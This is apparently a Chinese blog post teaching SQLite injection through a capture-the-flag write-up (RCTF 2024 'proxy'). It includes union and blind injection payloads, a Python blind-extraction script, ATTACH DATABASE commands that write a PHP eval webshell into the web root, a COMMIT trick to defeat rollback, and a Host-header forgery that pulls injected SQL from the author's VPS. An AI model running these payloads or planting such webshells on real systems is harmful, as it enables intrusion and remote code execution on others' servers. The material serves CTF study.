sqlite注入总结

sqlite注入总结

前言

在RCTF中遇到一道关于sqlite注入的题,之前没有遇到过,于是刚好来学一下。

什么是sqlite

SQLite是一个进程内的库,实现了自给自足的、无服务器的、零配置的、事务性的 SQL 数据库引擎。它是一个零配置的数据库,这意味着与其他数据库不一样,您不需要在系统中配置。
就像其他数据库,SQLite 引擎不是一个独立的进程,可以按应用程序需求进行静态或动态连接。SQLite 直接访问其存储文件。

基础语法

语法和mysql大差不差

# 数据库基础语法
sqlite3 sqltest.db           #sqlite的每一个数据库就是一个文件
#执行这个命令成功创建数据库文件之后,将提供一个 sqlite> 提示符。
sqlite> .databases             #判断数据库是否存在
sqlite> .open sqltest.db       #打开数据库
sqlite> .tables                #列出数据库中所有的表
sqlite> .schema test           #得到该表所使用的命令

#创建表,语句和mysql差不多,先进入sqlite>下
sqlite> create table test(
   ...> id INT PRIMARY KEY     NOT NULL,
   ...> name char(50) NOT NULL
   ...> );
#向表中插入数据
sqlite> insert into test (id,name) values (1,'alice');
sqlite> insert into test (id,name) values (2,'bob');
#查询语句
sqlite> select * from test;

#导入导出
sqlite3 testDB.db .dump > testDB.sql   #导出
sqlite3 testDB.db < testDB.sql         #导入

sqlite_master
sqlite_master表中保存数据库表的关键信息。
他保存了执行的sql语句,也是之后注入 查询表名列名的关键。

#表中包含的字段如下
sqlite> .schema sqlite_master
CREATE TABLE sqlite_master (
  type text,
  name text,
  tbl_name text,
  rootpage integer,
  sql text
);

#从sqlite_master查表名:
sqlite> select tbl_name from sqlite_master where type='table';
#获取表名和列名
sqlite> select sql from sqlite_master where type='table';  #会打印出创建表时所执行的sql语句

#设置格式化输出,可以更加直观的看到执行结果
sqlite>.header on
sqlite>.mode column
sqlite>.timer on

注入漏洞

Demo关键部分

SELECT * from user_data where id='$id';
$ret = $db->query($sql);

这里id能够实现注入
注入方式和mysql的区别不大,少了一些我们经常使用的函数,mid、left,sleep,甚至if函数都没有.没有 information_schema
闭合方式与sql有区别:分号; – /*
因为注入方式和mysql注入差不多,就只简单列一下payload

#查询字段数
-1' union select 1,2,3;
1' order by 3;
#查版本
0' union select 1,2,sqlite_version();
#查询表名和列名 通过查询 sqlite_master 表来实现:
-1' union select 1,2,(select sql from sqlite_master limit 0,1),4;
#当存在多个表时,我们可以用 limit 关键字逐行读取,也可以使用 group_concat 关键字进行聚合:
-1' union select 1,2,(select group_concat(sql) from sqlite_master),4;
0' union select 1,2,tbl_name FROM sqlite_master  limit 2 offset 1 --
#查询数据
-1' union select 1,2,(select group_concat(username,password) from table_name),4;

布尔盲注
#根据查询正确或错误时的页面回显来判断数据内容: 
-1' or length(sqlite_version())=5/*
-1' or length(sqlite_version())=6/*

-1' or substr((select group_concat(sql) from sqlite_master),1,1)>'a'/*
-1' or substr((select group_concat(sql) from sqlite_master),1,1)<'a'/*
-1' or substr((select group_concat(sql) from sqlite_master),2,1)>'b'/*
-1' or substr((select group_concat(sql) from sqlite_master),2,1)<'b'/*
-1' or substr((select group_concat(sql) from sqlite_master),3,1)>'C'/*
-1' or substr((select group_concat(sql) from sqlite_master),3,1)<'C'/*
......

时间盲注
#QLite 没有 sleep() 函数,但是有个 randomblob(N) 函数,其作用是返回一个 N 字节长的包含伪随机字节的 BLOG。 N 是正整数。可以用它来制造延时。
并且 SQLite 没有 if,所以我们需要使用 case...when 来构造查询语句:
-1' or (case when(substr(sqlite_version(),1,1)='3') then randomblob(1000000000) else 0 end)/*

布尔盲注脚本

import requests
url = 'http://192.168.219.130/index.php'
flag = ''
for i in range(1,500):
   low = 32
   high = 128
   mid = (low+high)//2
   while(low<high):
       payload = "-1' or substr((select hex(group_concat(sql)) from sqlite_master),{0},1)>'{1}'/*".format(i,chr(mid))
       datas = {
           "id": payload
       }
       res = requests.post(url=url,data=datas)

       if 'Username' in res.text:      # 为真时,即判断正确的时候的条件
           low = mid+1
       else:
           high = mid
       mid = (low+high)//2
   if(mid ==32 or mid ==127):
       break
   flag = flag+chr(mid)
   print(flag)

print('\n'+bytes.fromhex(flag).decode('utf-8'))

sqlite写shell

写shell依靠sqlite的创建数据库功能。
除了前面提到的 sqlite3 test.db 这种创建数据库方法还可以通过 ATTACH DATABASE 这种方法来实现。
attach
当在同一时间有多个数据库可用,您想使用其中的任何一个。SQLite 的 ATTACH DATABASE 语句是用来选择一个特定的数据库,使用该命令后,所有的 SQLite 语句将在附加的数据库下执行。
也就是我们先用splite3 test.db命令打开了一个文件,进入了sqlite>模式,仍然可以用attach附加一个数据库(自动创建)

命令格式:ATTACH DATABASE file_name AS database_name;
sqlite> ATTACH DATABASE 'testDB.db' as 'TEST';   #附加一个数据库命名为test

关键点: 如果数据库文件路径设置在web目录下,就可以实现写shell的功能。
要实现写shell,需要如下操作:
通过 attach 在目标目录新建一个数据库文件 => 在新数据库创建表 => 在表中插入payload

ATTACH DATABASE '/var/www/html/sqlite_test/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php @eval($_POST["x"]); ?>'); 

把命令闭合一下

';ATTACH DATABASE '/var/www/html/sqlite_test/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php @eval($_POST["x"]); ?>'); --

这样再访问shell.php传入参数x就能getshell了

2024RCTF-proxy

关键源码
index.php

<?php
require('Db.php');
require('Proxy.php');
$BE = $_GET['BE'] ?? 'flag';        //获取BE参数
$URL = '/'.$BE.'.php';              //构造一个url
$ProxyObj = new Proxy();
if($ProxyObj->SendRequest($URL))         //向服务器发起请求
{
    $DbObj = new Db();           
    $arysql = array();
    $sess = md5($_SERVER['REMOTE_ADDR']);  //对客户端IP地址进行哈希处理。
    $arysql[] = "INSERT OR REPLACE INTO CacheMain VALUES ('".$sess."', ".time().")";   //插入或替换一条记录到CacheMain表中,记录包括会话信息和当前时间戳。
    $arysql[] = "INSERT INTO CacheDetail VALUES ('".$sess."', '".$BE."')";         //插入一条记录到CacheDetail表中,记录包括会话信息和获取到的BE参数。
    $arysql[] = "CREATE TABLE Cache_".$sess."_".$BE." (t TEXT)";          //创建名为Cache_会话_BE的表。
    $arysql[] = "INSERT INTO Cache_".$sess."_".$BE." VALUES('".$ProxyObj->body."')";  //向刚创建的表中插入一条记录,记录内容为$ProxyObj->body
    $DbObj->execMultiSQL($arysql);
}

db.php

<?php
class Db{
    private $dm_handler;

    public function __construct($dm_conn = 'sqlite:data.db'){
        $this->dm_handler = new PDO($dm_conn);       //创建了一个PDO对象
        $this->dm_handler->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);   //设置PDO对象的错误处理模式为异常模式。
    }

    public function execMultiSQL($arysql){          //接受多个sql语句来执行
        try{
            $this->dm_handler->beginTransaction();
            foreach($arysql as $asql){
                $this->dm_handler->exec($asql);    //执行每个sql语句
            }
            $this->dm_handler->commit();
            return TRUE;
        }
        catch(PDOException $exception) {           //由异常会返回false 
            $this->dm_handler->rollBack();
            return FALSE;
        }
    }
}

只要有一个报错 就会到catch块中不会commit提交数据真正改变数据库
因为只要有报错就无法真正将shell写入数据库,所以不能直接利用

利用commit无视报错

COMMIT 命令是用于把事务调用的更改保存到数据库中的事务命令。
COMMIT 命令把自上次 COMMIT 或 ROLLBACK 命令以来的所有事务保存到数据库。

payload1
');COMMIT;ATTACH DATABASE '/var/www/html/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php @eval($_POST["1"]); ?>');COMMIT;--+-

伪造$_SERVER[‘SERVER_NAME’]

proxy.php

<?php
class Proxy{
    private $ch;
    public $body;

    public function __construct(){
        $this->ch = curl_init() or die(curl_error());              //curl_init()初始化了一个CURL会话,并将其赋值给私有属性$ch
        //curl_setopt($this->ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
    }

    public function SendRequest($URL)
    {
        $ret = TRUE;
        if(isset($_SERVER['HTTPS'])){
            if($_SERVER['HTTPS'] == 'off')
            {
                $http = 'http://';
            }
            else {
                $http = 'https://';
            }
        }
        else
        {
            $http = 'http://';
        }
        $http .= $_SERVER['SERVER_NAME'].':'.$_SERVER['SERVER_PORT'];   //拼接服务器名和端口号形成完整的请求URL
        curl_setopt($this->ch, CURLOPT_URL, $http.$URL);
        curl_setopt($this->ch, CURLOPT_RETURNTRANSFER, 1);
        try{
            $this->body = curl_exec($this->ch);
        } catch (Exception $ex) {
            return FALSE;
        }
        return TRUE;
    }
}

$_SERVER[‘SERVER_NAME’]是当前服务器主机名或IP地址,用于标识当前正在执行脚本的服务器。通常情况下,它是从 HTTP 请求的 Host 头中获取的。
$_SERVER[‘SERVER_PORT’] 是当前运行脚本的服务器端口号。当在浏览器中访问一个网站时,默认的 HTTP 端口号是 80,HTTPS 端口号是 443。
可以看看nc后有没有收到请求

payload2

vps上起一个shell.php

<?php
echo "');ATTACH DATABASE '/var/www/html/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php eval(\$_POST[1]); ?>');--+-";
?>

在这里插入图片描述把HOST设置为你的公网IP,然后传BE=shell,这时web发起请求后,根据代码里面的拼接 URL = http://vps/shell.php,请求到了shell.php从而实现注入。

参考链接
https://blog.youkuaiyun.com/qq_39947980/article/details/139337184
https://xz.aliyun.com/t/8627

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值